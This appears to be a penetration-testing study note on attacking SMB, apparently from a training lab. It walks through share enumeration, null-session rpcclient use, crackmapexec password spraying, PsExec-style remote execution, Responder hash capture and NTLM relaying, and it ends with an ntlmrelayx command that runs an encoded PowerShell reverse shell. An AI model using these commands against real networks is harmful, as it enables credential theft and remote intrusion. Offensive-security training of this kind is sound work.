---
title: "3. Attacking SMB"
date: 2024-08-15
draft: false
---


When targeting windows - version information is usually not included in nmap 
NMAP instead attempts to guess OS version 
```bash
sudo nmap 10.129.14.128 -sV -sC -p139,445
```

Using smbclient, we can display a list of the server's shares with the option -L, and using the option -N, we tell smbclient to use the null session.

Smbmap is another tool that helps us enumerate network shares and access associated permissions. An advantage of smbmap is that it provides a list of permissions for each shared folder.

Using smbmap with the -r or -R (recursive) option, one can browse the directories:
```bash
 smbmap -H 10.129.14.128 -r notes
```

Downloading
```bash
smbmap -H 10.129.14.128 --download "notes\note.txt"
```
Uploading
```bash
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
```

## rpcclient enumeration smb null session
rpcclient tool can be used with a null session to enumerate a workstation or domain controller
```bash
 rpcclient -U'%' 10.10.110.17
 [...]
 enumdomusers
```

Enum4linux is another utility that supports null sessions, and it utilizes nmblookup, net, rpcclient, and smbclient to automate some common enumeration from SMB targets 

```bash
./enum4linux-ng.py 10.10.11.45 -A -C
```

If a null session is not enabled, we will need credentials to interact with the SMB protocol. Two common ways to obtain credentials are [brute forcing](https://en.wikipedia.org/wiki/Brute-force_attack) and [password spraying](https://owasp.org/www-community/attacks/Password_Spraying_Attack).
careful though, brute forcing == account lockout according to password policy
password spraying is great though, if we have a target list of usernames with one common password, and we can avoid account lockouts. If we know the lockout threshhold we can try more than one password.

Typically 2/3 attempts are safe, provided we wait 30-60 minutes between attempts. 

```bash
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth


Note: By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. it is very useful for spraying a single password against a large user list. Additionally, if we are targetting a non-domain joined computer, we will need to use the option --local-auth. For a more detailed study Password Spraying see the Active Directory Enumeration & Attacks module.
```

Linux and Windows SMB provide different attack paths. 
Usually we only get access to file system. In windows the attack surface is more significant. 

Windows 
- Windows smb actions are limited by privileges we have on the user we manage to compromise. If user is administrator or has specific privs, we can:
	- remote command execution
	- extract hashes from SAM
	- enumerate logged-on users
	- PTH 
- Windows RCE
	- Windows Sysinternals - meant to offer technical resources/utilities to manage / diagnose / troubleshoot / monitor a windows env 
	- PsExec is a tool (provided by sysinternals) that allows us to execute processes on other systems. Creates a named pipe that can send cmds to system. 
```bash
It works because it has a Windows service image inside of its executable. It takes this service and deploys it to the admin$ share (by default) on the remote machine. It then uses the DCE/RPC interface over SMB to access the Windows Service Control Manager API. 
```

Impacket psexec - python psexec-like functionality using RemComSvc
https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py
Impacket smbexec - similar as above, but no use of RemComSvc - instantiates a local SMB server to receive output of commands. Useful when no writeable share
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
Impacket atexec - executes command on target through Task Scheduler service
https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py
CME - uses smbexec/atexec 
https://github.com/byt3bl33d3r/CrackMapExec
Metasploit Psexec - ruby implementation of psexec
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md

## NTLM forced authentication attacks 
Responder usage: 
https://github.com/lgandx/Responder
```bash
 Responder is an LLMNR, NBT-NS, and MDNS poisoner tool with different capabilities, one of them is the possibility to set up fake services, including SMB, to steal NetNTLM v1/v2 hashes. In its default configuration, it will find LLMNR and NBT-NS traffic. Then, it will respond on behalf of the servers the victim is looking for and capture their NetNTLM hashes.
```

When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host's IP address by its hostname. On Windows machines, the procedure will roughly be as follows:

- The hostname file share's IP address is required.
- The local host file (C:\Windows\System32\Drivers\etc\hosts) will be checked for suitable records.
- If no records are found, the machine switches to the local DNS cache, which keeps track of recently resolved names.
- Is there no local DNS record? A query will be sent to the DNS server that has been configured.
- If all else fails, the machine will issue a multicast query, requesting the IP address of the file share from other machines on the network.

Suppose user mistypes share folder name `\\mysharefoder\` instead of `\\mysharefolder\` 
- all name resolutions fail; name doesnt exist - machine will send multicast query to all devices on network, including our fake smb server running via Responder
- this is a problem because no measures are taken to verify the integrity of responses
- attackers can take advantage of this mechanism; spoofing responses to these queries leading victim to believe server is trustworthy. 

hashcat module to crack ntlm is 5600 

If we cannot crack the hash we collect from Responder, we can potentially relay the captured hash to another machine using [impacket-ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) or Responder [MultiRelay.py](https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py). Let us see an example using `impacket-ntlmrelayx`. 

First, we need to set SMB to `OFF` in our responder configuration file (`/etc/responder/Responder.conf`).

```bash
stejwes@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off
```

Then we execute `impacket-ntlmrelayx` with the option `--no-http-server`, `-smb2support`, and the target machine with the option `-t`. By default, `impacket-ntlmrelayx` will dump the SAM database, but we can execute commands by adding the option `-c`.

```bash
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
```
We can create a PowerShell reverse shell using [https://www.revshells.com/](https://www.revshells.com/), set our machine IP address, port, and the option Powershell #3 (Base64).
```bash
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA[.....]AZQAoACkA'
```

